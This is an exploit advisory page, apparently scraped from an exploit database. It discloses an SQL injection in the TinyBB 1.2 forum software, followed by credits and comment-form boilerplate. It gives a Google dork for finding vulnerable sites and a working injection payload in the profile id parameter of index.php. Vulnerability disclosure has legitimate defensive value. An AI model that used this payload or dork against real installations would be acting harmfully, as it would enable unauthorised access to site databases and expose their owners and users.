TinyBB 1.2 SQLi Vulnerability

2011.01.11

Credit: Aodrulez

Risk: Medium

Local: No

Remote: Yes

CVE: N/A

CWE: N/A

+-------------------------------+
| TinyBB 1.2 SQLi Vulnerability |
+-------------------------------+
 
 
 
Vulnerable Web-App : TinyBB 1.2
Vulnerability      : SQL Injection.
Author             : Aodrulez.
Email              : f3arm3d3ar@gmail.com
Google-Dork        : "TinyBB 2011 all rights reserved"
Tested on          : Ubuntu 10.04
 
+---------+
| Exploit |
+---------+
 
TinyBB Version 1.2 is vulnerable to SQLi.
 
http://127.0.0.1/index.php?page=profile&id=' or 'a'='a
 
 
+-------------------+
| Greetz Fly Out To |
+-------------------+
  
 
1] Amforked()          : My Mentor.
2] The Blue Genius     : My Boss.
3] www.orchidseven.com
4] www.malcon.org 

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

TinyBB 1.2 SQLi Vulnerability

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.